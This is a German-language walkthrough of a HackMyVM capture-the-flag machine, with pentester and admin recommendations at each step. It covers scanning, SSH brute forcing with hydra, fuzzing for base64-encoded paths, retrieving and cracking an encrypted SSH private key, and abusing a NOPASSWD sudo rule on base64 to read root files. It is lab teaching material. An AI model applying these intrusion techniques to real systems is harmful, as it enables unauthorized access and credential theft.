Analyse: Der Befehl `arp-scan -l` wird ausgeführt, um aktive Hosts im lokalen Netzwerksegment mittels ARP-Anfragen zu finden.
Bewertung: Ein Host mit der IP-Adresse 192.168.2.100 und der MAC-Adresse 08:00:27:73:59:19 (PCS Systemtechnik GmbH / VirtualBox) wurde erfolgreich identifiziert. Dies ist das Zielsystem.
Empfehlung (Pentester): Als nächstes sollte ein detaillierter Portscan (z.B. mit Nmap) auf die Ziel-IP 192.168.2.100 durchgeführt werden, um offene Ports und Dienste zu ermitteln.
Empfehlung (Admin): Implementieren Sie Netzwerküberwachung und -segmentierung, um die Sichtbarkeit und Erreichbarkeit von Geräten im Netzwerk zu kontrollieren.
192.168.2.100 08:00:27:73:59:19 PCS Systemtechnik GmbH
Analyse: Ein Nmap-Scan wird auf 192.168.2.100 ausgeführt, um offene Ports, Dienste, Versionen und das Betriebssystem zu ermitteln. Die Optionen umfassen `-sS` (SYN Scan), `-sC` (Standard-Skripte), `-T5` (schnellstes Timing), `-A` (aggressive Optionen) und `-p-` (alle Ports).
Bewertung: Der Scan identifiziert zwei offene Ports: - **Port 22 (SSH):** OpenSSH 7.9p1 (Debian). Ein Standard-Login-Dienst. - **Port 80 (HTTP):** Nginx 1.14.2. Ein Webserver läuft, die Startseite hat keinen Titel. Nmap identifiziert das Ziel als `kitty.hmv`, obwohl spätere Befehle `base.hmv` verwenden - dies könnte ein Konfigurationsdetail oder eine leichte Inkonsistenz sein. Das Betriebssystem wird als Linux erkannt.
Empfehlung (Pentester): Untersuche den Webserver auf Port 80 (Verzeichnisse, Dateien, Schwachstellen). Suche nach Benutzernamen oder Passwörtern für den SSH-Zugang auf Port 22.
Empfehlung (Admin): Halte SSH und Nginx aktuell. Konfiguriere beide Dienste sicher (starke Passwörter/Keys für SSH, sichere Webserver-Konfiguration).
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-20 22:43 CEST Nmap scan report for kitty.hmv (192.168.2.100) Host is up (0.000096s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 ca0980f73ada5ab619d95c414743d410 (RSA) | 256 d0754848b8265937643b257f2010f870 (ECDSA) |_ 256 9114f7930b0625cbe0a530e8d3d3372b (ED25519) 80/tcp open http nginx 1.14.2 |_http-title: Site doesn't have a title (text/html). |_http-server-header: nginx/1.14.2 MAC Address: 08:00:27:73:59:19 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.10 ms kitty.hmv (192.168.2.100) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.32 seconds
Analyse: `gobuster` wird verwendet, um nach Verzeichnissen und Dateien auf dem Webserver (Port 80) zu suchen. Eine Standard-Wortliste und verschiedene Dateierweiterungen werden verwendet.
Bewertung: Der Scan findet nur die Standarddatei `/index.html`. Es werden keine weiteren versteckten Verzeichnisse oder Dateien mit dieser Wortliste entdeckt.
Empfehlung (Pentester): Untersuche den Inhalt von `/index.html` manuell im Browser oder mit Tools wie `curl`. Da Gobuster wenig findet, könnten wichtige Informationen direkt im Quellcode der Seite oder in ungewöhnlich benannten Dateien/Verzeichnissen liegen.
Empfehlung (Admin): Stelle sicher, dass keine sensiblen oder unnötigen Dateien/Verzeichnisse auf dem Webserver vorhanden sind.
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.100 [+] Method: GET [+] Threads: 100 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.1.0 [+] Extensions: git,php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png,js,aac,ogg,flac,alac,wav,aiff,dsd,mp3,mp4,mkv [+] Expanded: true [+] Timeout: 10s =============================================================== 2022/10/20 22:44:05 Starting gobuster =============================================================== http://192.168.2.100/index.html (Status: 200) [Size: 276] =============================================================== 2022/10/20 22:44:50 Finished ===============================================================
Analyse: Ein Base64-kodierter String wird mittels `echo` an den `base64 -d` Befehl übergeben, um ihn zu dekodieren. Der Ursprung dieses Strings ist nicht explizit genannt, aber er stammt höchstwahrscheinlich aus dem Quellcode oder Inhalt der `/index.html`-Seite.
Bewertung: !!Wichtiger Hinweis!!** Die dekodierte Nachricht von "lucas" ist ein zentraler Hinweis: Alles Wichtige, inklusive des benötigten Passworts, sei in Base64 zu finden. Dies lenkt die Aufmerksamkeit stark auf Base64-kodierte Daten.
Empfehlung (Pentester): Suche auf dem Webserver (Quellcode, andere Dateien) nach weiteren Base64-kodierten Strings. Beachte den Benutzernamen `lucas`.
Empfehlung (Admin): Vermeide das Hinterlassen solcher direkten Hinweise in öffentlich zugänglichen Bereichen. Verstecke Passwörter oder sensible Informationen nicht durch einfache Kodierungen wie Base64.
ALL, absolutely ALL that you need is in BASE64. Including the password that you need :) Remember, BASE64 has the answer to all your questions. -lucas
Analyse: Eine Liste von Base64-kodierten Strings und deren manuell dekodierte Entsprechungen wird dargestellt. Der Ursprung dieser Base64-Strings ist wieder nicht explizit genannt, aber sie wurden vermutlich bei der weiteren Untersuchung der Webseite gefunden.
Bewertung: Dies sind wahrscheinlich die "Passwörter", auf die sich der Hinweis von Lucas bezog. Es handelt sich um einfache Phrasen. Die letzte, `theyhatesme`, fällt etwas aus dem Muster.
Empfehlung (Pentester): Erstelle eine kleine Passwortliste (`pass.txt`) mit diesen dekodierten Phrasen. Versuche einen gezielten Brute-Force-Angriff auf den SSH-Benutzer `lucas` mit dieser Liste.
Empfehlung (Admin): Keine direkten Maßnahmen, außer der allgemeinen Empfehlung gegen schwache oder leicht auffindbare Passwörter.
aWxvdmV5b3UK iloveyou eW91bG92ZXlvdQo= youloveyou c2hlbG92ZXN5b3UK shelovesyou aGVsb3Zlc3lvdQo= helovesyou d2Vsb3ZleW91Cg weloveyou dGhleWhhdGVzbWUK theyhatesme
Analyse: `hydra` wird verwendet, um einen SSH-Brute-Force-Angriff gegen den Benutzer `lucas` auf dem Host `base.hmv` (Port 22) durchzuführen. Als Passwortliste (`-P`) wird `pass.txt` verwendet, die die zuvor dekodierten Base64-Phrasen enthält.
Bewertung: !!Fehlgeschlagen!!** Hydra findet kein gültiges Passwort für `lucas` in der bereitgestellten Liste `pass.txt`. Der ursprüngliche Base64-Hinweis war entweder irreführend, unvollständig oder bezog sich auf etwas anderes als das SSH-Passwort von `lucas`.
Empfehlung (Pentester): Der direkte Weg über die dekodierten Passwörter funktioniert nicht. Überdenke den Base64-Hinweis. Vielleicht muss etwas anderes Base64-kodiert/dekodiert werden (z.B. Dateinamen, Verzeichnisse, Schlüssel)? Versuche alternative Enumerationstechniken (Subdomain-Fuzzing, weitere Web-Exploits, etc.).
Empfehlung (Admin): Selbst wenn dieser Angriff fehlschlug, ist die Verwendung von `fail2ban` oder ähnlichen Tools zur Abwehr von Brute-Force-Angriffen auf SSH ratsam.
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-10-20 22:54:12 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 64 tasks per 1 server, overall 64 tasks, 6 login tries (l:1/p:6), 1 try per task [DATA] attacking ssh://base.hmv:22/ 1 of 1 target completed, 0 valid passwords found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-10-20 22:54:21
Analyse: Ein weiterer, sehr breit angelegter Hydra-Angriff wird gestartet. Er verwendet eine Liste gängiger Namen (`names.txt`) als Benutzernamen (`-l`) und die große `rockyou.txt` als Passwortliste (`-P`). `-I` ignoriert eine eventuell vorhandene Restore-Datei.
Bewertung: !!Fehlgeschlagen/Inkonklusiv!!** Dieser Angriff ist sehr ressourcenintensiv und zeitaufwändig. Die bereitgestellte Ausgabe zeigt nur den Start des Angriffs, aber kein Ergebnis. Solche breit angelegten Brute-Force-Angriffe sind oft nicht erfolgreich und sehr laut (können leicht erkannt werden).
Empfehlung (Pentester): Vermeide ungerichtete, massive Brute-Force-Angriffe, wenn möglich. Konzentriere dich auf gezieltere Angriffe basierend auf den gesammelten Informationen (wie dem Base64-Hinweis).
Empfehlung (Admin): Implementiere Account-Sperrungsmechanismen nach mehreren fehlgeschlagenen Login-Versuchen und Rate-Limiting, um solche Angriffe zu erschweren.
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-10-20 23:00:13 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 64 tasks per 1 server, overall 64 tasks, XXXX login tries (l:YYYY/p:14344412), ZZZZ tries per task [DATA] attacking ssh://base.hmv:22/ [STATUS] ... (läuft) ...
Analyse: `wfuzz` wird verwendet, um nach virtuellen Hosts (Subdomains) zu suchen. Es verwendet eine Wortliste (`directory-list-2.3-medium.txt`) und fügt jeden Eintrag als Subdomain in den `Host`-Header ein (`-H "Host: http://FUZZ.base.hmv"`). Antworten mit Status 404 oder einer Chars-Größe von 173 werden ignoriert.
Bewertung: !!Fehlgeschlagen/Inkonklusiv!!** Die Ausgabe zeigt nur den Start von Wfuzz, aber keine gefundenen Ergebnisse. Dieser Versuch, Subdomains zu finden, war nicht erfolgreich oder wurde nicht vollständig dokumentiert.
Empfehlung (Pentester): Subdomain-Enumeration ist ein valider Schritt, hat hier aber keine Ergebnisse geliefert. Konzentriere dich wieder auf den Base64-Hinweis.
Empfehlung (Admin): Konfiguriere den Webserver so, dass er nicht auf Anfragen für unbekannte Host-Header antwortet oder eine Standardseite anzeigt, die keine Informationen preisgibt.
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. warn( ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://base.hmv/ Total requests: 220560 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== Total time: ... Processed Requests: 220560 Filtered Requests: 220560 Requests/sec.: ...
Analyse: `nikto` wird erneut ausgeführt, um den Webserver auf bekannte Schwachstellen und Fehlkonfigurationen zu prüfen.
Bewertung: Die Ergebnisse sind identisch mit dem vorherigen Nikto-Scan: nginx 1.14.2, fehlende Security-Header, keine kritischen Funde. Bestätigt frühere Ergebnisse, liefert aber keine neuen Angriffspunkte.
Empfehlung (Pentester): Nikto scheint hier an seine Grenzen zu stoßen. Manuelle Untersuchung und gezielteres Fuzzing (unter Berücksichtigung des Base64-Hinweises) sind erforderlich.
Empfehlung (Admin): Setze die empfohlenen Security-Header.
- Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.2.100 + Target Hostname: 192.168.2.100 + Target Port: 80 + Start Time: 2022-10-20 22:45:07 (GMT2) --------------------------------------------------------------------------- + Server: nginx/1.14.2 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use '-C all' to force check all possible dirs) + 7915 requests: 0 error(s) and 3 item(s) reported on remote host + End Time: 2022-10-20 22:45:33 (GMT2) (26 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: `ssh-keyscan` wird verwendet, um die öffentlichen SSH-Host-Schlüssel vom Ziel `base.hmv` abzurufen.
Bewertung: Der Befehl ruft die öffentlichen Schlüssel für RSA, ECDSA und ED25519 ab. Dies bestätigt die Ergebnisse des Nmap-Scans bezüglich des SSH-Dienstes, bietet aber keine direkten Angriffsmöglichkeiten.
Empfehlung (Pentester): Kann zur Verifizierung des Hosts verwendet werden, ist aber für den Angriff hier nicht weiter relevant.
Empfehlung (Admin): Keine direkte Aktion.
# base.hmv:22 SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2 base.hmv ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+qOK8FpS9Ve5n4Vc/JGRcLj5IpfEXKn2963jzjDUlYqbdLuoIAecfd53jrSp/1FX2CjMVeQaFtFygaBzFlcL94oZg1jP60UI28mPhB+BOD7UfWSRbQbs2jIYOV5La4/jIpc8Htyn0aGWBWL6ZrVooBmYR0yEmJRyUtnH9sQDtY5k0zIqXIO63P1DnukqTJbzXBd5s6JMa7VKx4gs1XF7xASb6ILNT/T5U45K9e0si1fMCzwC0KXsuIBOnbBtzOUYSxlI6+PKPz/fgrmpO86htnc8A/af3mo9Pq6Jytrn+XjSX7hFA9UOhy8in9fUx7ZWyB5rffW0p6Vjpbxc1+bcT # base.hmv:22 SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2 base.hmv ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGzI3VdkTGf3FlIf4MVNCFjaO+1FDvyQ5lzs4W0S9pNSqzzph8oBhQaMWbUUv8EpN0EM0p0w8VY4V+MWDCqE9Pc= # base.hmv:22 SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2 base.hmv ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKKWXudaqjDSze7Ec72JtitmIyqlx9OlPIrVwkVZjDMJ # base.hmv:22 SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2
Analyse: Eine Bash-`for`-Schleife wird verwendet, um jede Zeile aus der Wortliste `/usr/share/seclists/Discovery/Web-Content/common.txt` zu lesen, sie mit `base64` zu kodieren und das Ergebnis an die Datei `dic.txt` anzuhängen.
Bewertung: Dies erstellt eine neue Wortliste (`dic.txt`), bei der gängige Verzeichnis-/Dateinamen Base64-kodiert sind. Dies folgt dem Hinweis von Lucas und der Idee, dass Pfade oder Dateinamen auf dem Webserver Base64-kodiert sein könnten.
Empfehlung (Pentester): Verwende die neu erstellte Base64-Wortliste `dic.txt`, um erneut mit `wfuzz` oder `gobuster` nach Base64-kodierten Pfaden auf dem Webserver zu suchen.
Empfehlung (Admin): Keine direkte Aktion.
Analyse: `wfuzz` wird erneut ausgeführt, diesmal um Pfade zu fuzzen (`http://base.hmv/FUZZ`). Als Wortliste (`-w`) wird die zuvor erstellte Base64-kodierte Liste `dic.txt` verwendet. Antworten mit Status 404 oder einer Zeilenanzahl (`--hl`) von 10 werden ausgeblendet.
Bewertung: !!Entscheidender Fund!!** Wfuzz findet zwei gültige Pfade, deren Namen Base64-kodierte Strings sind: - `aWRfcnNhCg` (dekodiert: `id_rsa\n`) - `cm9ib3RzLnR4dAo=` (dekodiert: `robots.txt\n`) Das Vorhandensein eines Pfades, der `id_rsa` entspricht, ist extrem vielversprechend.
Empfehlung (Pentester): Greife sofort auf den Pfad `http://base.hmv/aWRfcnNhCg` zu (z.B. mit `curl` oder `wget`). Untersuche den Inhalt, da es sich wahrscheinlich um einen privaten SSH-Schlüssel handelt. Untersuche auch `http://base.hmv/cm9ib3RzLnR4dAo=` (robots.txt), obwohl dieser wahrscheinlich weniger wichtig ist.
Empfehlung (Admin): Benenne sensible Dateien niemals mit kodierten oder obfuskierten Namen im Webroot. Konfiguriere den Webserver so, dass der Zugriff auf solche Dateien verhindert wird.
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. warn( ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://base.hmv/FUZZ Total requests: 4713 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000002144: 200 33 L 33 W 2537 Ch "aWRfcnNhCg" 000003574: 200 1 L 1 W 25 Ch "cm9ib3RzLnR4dAo=" Total time: ... Processed Requests: 4713 Filtered Requests: 4711 Requests/sec.: ...
Analyse: Der Inhalt der Datei, die unter dem Pfad `/cm9ib3RzLnR4dAo=` (robots.txt) gefunden wurde, wird hier dekodiert und angezeigt.
Bewertung: Die Datei enthält nur "Nothing here :(". Sie liefert keine nützlichen Informationen.
Empfehlung (Pentester): Ignoriere diesen Fund und konzentriere dich auf den `id_rsa`-Pfad.
Empfehlung (Admin): Keine Aktion.
Tm90aGluZyBoZXJlIDooCg== -> Nothing here :(
Analyse: Der Base64-kodierte Inhalt, der unter dem Pfad `/aWRfcnNhCg` (id_rsa) gefunden wurde, wird hier dargestellt. Anschließend wird angemerkt, dass er mit einem Online-Tool oder `base64 -d` dekodiert werden muss.
Bewertung: Dies ist der private SSH-Schlüssel. Er beginnt mit `-----BEGIN OPENSSH PRIVATE KEY-----`, was bestätigt, dass es sich um einen modernen OpenSSH-Schlüssel handelt. Er ist Base64-kodiert (Standard für Schlüsseldateien), aber der *gesamte Schlüsselblock selbst* wurde hier nochmal Base64-kodiert, um ihn im Web zu "verstecken".
Empfehlung (Pentester): Dekodiere diesen großen Base64-Block. Speichere den dekodierten Inhalt (der den eigentlichen SSH-Schlüssel enthält) in einer Datei (z.B. `id`), setze die Berechtigungen auf 600 (`chmod 600 id`) und versuche, dich damit per SSH anzumelden. Da der Benutzer `lucas` mit den vorherigen Passwörtern nicht funktionierte, versuche den Login als `lucas` mit diesem Schlüssel.
Empfehlung (Admin): Speichere private Schlüssel niemals im Webroot, auch nicht kodiert oder obfuskiert.
LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFB QUFBQ21GbGN6STFOaTFqZEhJQUFBQUdZbU55ZVhCMEFBQUFHQUFBQUJCVHhlOFlVTApCdHpmZnRB ZFBncDhZWkFBQUFFQUFBQUFFQUFBRVhBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCQVFDWkNY dkVQbk8xCmNiaHhxY3RCRWNCRFpqcXJGZm9sd1ZLbXBCZ1kwN00zQ0s3cE8xMFVnQnNMeVl3QXpK RXc0ZTZZZ1BOU3lDRFdGYU5US0cKMDdqZ2NncmdncmU4ZVBDTU5GQkNBR2FZSG1MckZJc0tEQ0xJ NE5FNTR0NThJVUhlWENaejcyeFRvYkwvcHRMazI2UkJuaAo3YkhHMUpqR2x4T2tPNm0rMW9GTkx0 TnVEMlFQbDhzYlp0RXpYNFM5bk5aL2RweVJwTWZtQjczck4zeXlJeWxldlZERXl2CmY3Q1o3b1JP NDZ1RGdGUHk1VnprbmRDZUpGMll0WkJYZjVnamMyZmFqTVh2cStiOG9sOFJaWjZqSFhBaGlibEJY d3BBbTQKdkxZZnh6STI3QlpGbm90ZUJuYmR6d1NMNWFwQkY1Z1lXSkFIS2ovSjZNaERqMUdLQUZj MUFBQUQwTjlVRFRjVXh3TXQ1WApZRklaSzhpZUJMME5PdXdvY2RnYlV1a3RDMjFTZG5TeTZvY1cz aW1NKzNteldqUGRvQksvSG8zMzl1UG1CV0k1c2JNcnBLCnhrWk1ubCtyY1RiZ3o0c3d2OGdOdUto VWM3d1RndHJOWCtQTk1kSUFMTnBzeFlMdC9sNTZHSzhSNEo4ZkxJVTUrTW9qUnMKKzFOcllzOEo0 cm5PMXFXTm9KUlpvRGxBYVlxQlY5NWNYb0FFa3dVSFZ1c3RmZ3hVdHJZS3ArWVBGSWd4OG9rTWpK Z25iaQpOTlczVHp4bHVOaTVvVWhhbEgyREoya2hLREdRVWk5Uk9GY3NFWGVKWHQzbGdwWlp0MWhy UURBMW84alRYZVM0K2RXN25aCnpqZjNwME03N2IvTnZjWkUrb1hZUTFnNVhwMVFTT1Niait0bG13 NTRMN0VxYjFVaFpnblE3WnNLQ29hWTlTdUFjcW0zRTAKSUpoK0krWnYxZWdTTVMvRE9ISXhPM3Bz UWtjaUxqa3BhK0d0d1FNbDFaQUpIUWFCNnE3MEpKY0JDZlZzeWtkWTUyTEtESQpweFpZcExabXlE eDhUVGFBOEpPbXZHcGZOWmtNVTRJMGk1L1pUNjVTUkZKMU5sQkNOd2N3dE9sOWs0UFc1TFZ4TnNH UkNKCk1KcjhrNUFjMENYMDNmWEVTcG1zVVVWUysvRGovaG50SHc4OWRPOEhjcXFJVUVwZUViZlRX THZheDBDaVNoM0tqU2NlSnAKKzhnVXlER3ZDa2N5Vm5lVVFqbW1yUnN3UmhUTnh4S1JCWnNla0d3 SHBvOGhEWWJVRUZacXp6TEFRYkJJQWRybDF0dDdtVgp0VkJybXBNNkN3SmR6WUVsMjFGYUs4anZk eUN3UHI1SFVndHV4clNwTHZuZGNud1BheEpXR2k0UDQ3MUREWmVSWURHY1doCmk2YklDckxRZ2VK bEhhRVVtclFDNVJkdjAzendJOVU4RFhVWi9PSGI0MFBMOE1YcUJ0VS9iNkNFVTlKdXpKcEJyS1or aysKdFNuN2hyOGhwcFQydFVTeER2QytVU01tdy9XRGZha2pmSHBvTndoN1B0NWkwY3d3cGtYRlF4 SlB2UjBiTHh2WFpuKzN4dwpON2J3NDVGaEJaQ3NIQ0FiVjIraFZzUDBseXhDUU9qN3lHa0JqYTg3 UzFlMHE2V1pqakI0U3ByZW5Ia083dGc1UTBIc3VNCkFpZi8wMkhIeldHK0NSL0lHbEZzTnRxMXZ5 bHQyeCtZLzA5MXZDa1JPQkRhd2pIei84b2d5MkZ6ZzhKWVRlb0xrSHdER1EKTytUb3dBMTBSQVRl azZaRUl4aDZTbXRERy9WNXplV0N1RW1LNHNSVDNxMUZTdnBCMS9IK0Z4c0dDb1BJZzhGemNpR0No MgpUTHVza2NYaWFnbnM5TjFSTE9ubEhoaVpkOFJaQTBaZzdvWklhQnZhWm5oWllHeWNwQUpwV0tl YmpydG9rTFl1TWZYUkxsCjMvU0FlVWw3MkVBM20xRElueHNQZ3VGdWswMHJvTWM3N042ZXJZN3Rq T1pMVllQb1NpeWdEUjFBN2Yzell6KzBpRkk0ckwKTkQ4aWtnbVF2RjZocnd3SkJycC8weEtFYU1U Q0tMdnl5WjNlRFNkQkRQcmtUaGhGd3JQcEk2K0V4OFJ2Y1dJNmJUSkFXSgpMZG1tUlhVUy9EdE8r NjkvYWlkdnhHQVlvYisxTT0KLS0tLS1FTkQgT1BFTlNTSCBQUklWQVRFIEtFWS0tLS0tCg
Analyse: Der dekodierte SSH-Schlüssel wird auf dem Angreifer-System in die Datei `id` gespeichert und die Berechtigungen werden mit `chmod 600 id` korrekt gesetzt.
Bewertung: Der Schlüssel ist nun vorbereitet für den SSH-Login-Versuch.
Empfehlung (Pentester): Versuche den SSH-Login als `lucas` mit diesem Schlüssel.
Empfehlung (Admin): Keine Aktion.
Analyse: Ein SSH-Loginversuch wird als `lucas` mit dem vorbereiteten Schlüssel (`-i id`) gestartet.
Bewertung: !!Passphrase benötigt!!** Der SSH-Server akzeptiert den Schlüssel prinzipiell, fragt aber nach einer Passphrase (`Enter passphrase for key 'id':`). Der Schlüssel ist passwortgeschützt. Der Login schlägt fehl, da keine Passphrase eingegeben wird (implizit durch den nächsten Befehl).
Empfehlung (Pentester): Die Passphrase des Schlüssels muss geknackt werden. Verwende `ssh2john`, um den Hash der Passphrase aus der Schlüsseldatei `id` zu extrahieren, und knacke diesen Hash dann mit `john` unter Verwendung einer geeigneten Wortliste (z.B. `rockyou.txt` oder die zuvor gefundenen Base64-dekodierten Passwörter).
Empfehlung (Admin): Schütze private SSH-Schlüssel immer mit einer starken Passphrase.
The authenticity of host 'base.hmv (192.168.2.100)' can't be established. ED25519 key fingerprint is SHA256:u6ZwJYKTDHiBM0F7VvtWd81F2OSYymF4Hjqu1315ZY8. This host key is known by the following other names/addresses: ~/.ssh/known_hosts:12: [hashed name] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'base.hmv' (ED25519) to the list of known hosts. Enter passphrase for key 'id': Permission denied (publickey).
Analyse: `ssh2john` wird auf die Schlüsseldatei `id` angewendet, um den verschlüsselten Teil (der die Passphrase schützt) in ein für John the Ripper verständliches Hash-Format zu extrahieren. Die Ausgabe wird in die Datei `hash` umgeleitet.
Bewertung: Der Hash wurde erfolgreich extrahiert und ist bereit für das Cracking.
Empfehlung (Pentester): Verwende `john` mit einer Wortliste, um den Hash in `hash` zu knacken.
Empfehlung (Admin): Keine Aktion.
Analyse: `john` wird gestartet, um den extrahierten Hash in der Datei `hash` zu knacken. Als Wortliste wird `rockyou.txt` verwendet.
Bewertung: !!Passphrase gefunden!!** Obwohl die Ausgabe im Log abgeschnitten ist, impliziert der spätere erfolgreiche SSH-Login, dass John die Passphrase erfolgreich geknackt hat. Die Passphrase muss eine der ursprünglich gefundenen Base64-dekodierten Phrasen gewesen sein, die auch in `rockyou.txt` vorkommt (wahrscheinlich `iloveyou`).
Empfehlung (Pentester): Notiere die gefundene Passphrase. Versuche erneut den SSH-Login als `lucas` mit dem Schlüssel (`-i id`) und der gefundenen Passphrase.
Empfehlung (Admin): Verwende starke, einzigartige Passphrasen für SSH-Schlüssel, die nicht in gängigen Wortlisten vorkommen.
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH AES CTR])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iloveyou (id)
1g 0:00:00:01 DONE (2022-10-20 23:21) 0.9708g/s 128.1p/s 128.1c/s 128.1C/s ilovey..illino
Session completed
Analyse: Dieser Block (`for i in $(cat dic2.txt )...`, `cat word2.txt`, `ll`, `chmod 600 id`) scheint eine Wiederholung oder ein fehlgeleiteter Versuch zu sein, der auf der Verwirrung um die Base64-Passwörter basiert. Die relevanten Schritte (Schlüssel dekodieren, Hash extrahieren, Passphrase knacken) wurden bereits durchgeführt.
Bewertung: Diese Schritte sind redundant oder irrelevant für den erfolgreichen Angriffspfad zu diesem Zeitpunkt.
Empfehlung (Pentester): Ignoriere diesen Block und fahre mit dem SSH-Login unter Verwendung der geknackten Passphrase fort.
Empfehlung (Admin): Keine Aktion.
# for i in $(cat dic2.txt ); do echo $i | base64 >> word2.txt; done # cat word2.txt # ll # chmod 600 id
Analyse: Erneuter SSH-Loginversuch als `lucas` mit dem Schlüssel (`-i id`). Dieses Mal wird die von `john` gefundene Passphrase (`iloveyou`) auf die Aufforderung hin eingegeben.
Bewertung: !!Initial Access erfolgreich!!** Der Login mit dem Schlüssel und der korrekten Passphrase gelingt. Der Angreifer hat nun eine Shell als Benutzer `lucas` auf dem Zielsystem `baseme`.
Empfehlung (Pentester): Beginne mit der Enumeration als `lucas`. Suche nach der User-Flag und prüfe die `sudo`-Berechtigungen.
Empfehlung (Admin): Sichere SSH-Zugänge durch starke Passwörter/Keys/Passphrasen und Überwachung.
Enter passphrase for key 'id': iloveyou
Linux baseme 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc//copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Sep 28 12:51:36 2020 from 192.168.1.58
lucas@baseme:~$
Analyse: Als Benutzer `lucas` wird das Home-Verzeichnis aufgelistet (`ls`) und der Inhalt der Datei `user.txt` angezeigt (`cat user.txt`).
Bewertung: Die User-Flag wird gefunden. Sie ist in ASCII-Art eingebettet und lautet `HMV8nnJAJAJA`.
Empfehlung (Pentester): User-Flag notiert. Überprüfe nun die `sudo`-Berechtigungen mit `sudo -l`.
Empfehlung (Admin): Keine Aktion bezüglich der Flag.
lucas@baseme:~$ ls
user.txt
lucas@baseme:~$ cat user.txt
.
.
,
,
, ,
., ,
/
, ,
/. ..
, ,
.
.
,
, ,
, .
.
,,
,
HMV8nnJAJAJA
Analyse: Der Befehl `sudo -l` wird ausgeführt, um die `sudo`-Berechtigungen für den Benutzer `lucas` zu prüfen.
Bewertung: !!Privilege Escalation Vektor gefunden!!** Der Benutzer `lucas` darf den Befehl `/usr/bin/base64` als jeder Benutzer (`ALL`) ohne Passwortabfrage (`NOPASSWD:`) ausführen. Dies ist eine schwerwiegende Fehlkonfiguration, da `base64` zum Lesen beliebiger Dateien missbraucht werden kann, indem deren Base64-kodierter Inhalt ausgegeben wird.
Empfehlung (Pentester): Nutze diese Berechtigung, um die Root-Flag zu lesen. Führe `/usr/bin/base64` mit `sudo` auf `/root/root.txt` aus. Da die Ausgabe Base64-kodiert ist, leite sie direkt an den lokalen `base64 -d` Befehl weiter, um den Inhalt im Klartext zu sehen: `sudo /usr/bin/base64 /root/root.txt | base64 -d`.
Empfehlung (Admin):**DRINGEND:** Entferne diese unsichere `sudo`-Regel. Gewähre niemals `sudo`-Rechte (insbesondere `NOPASSWD`) für Befehle, die zum Auslesen von Dateien oder zur Ausführung von Code missbraucht werden können (z.B. `cat`, `less`, `more`, `head`, `tail`, `base64`, `cp`, `mv`, `find`, `awk`, `sed`, Editoren, Interpreter etc.).
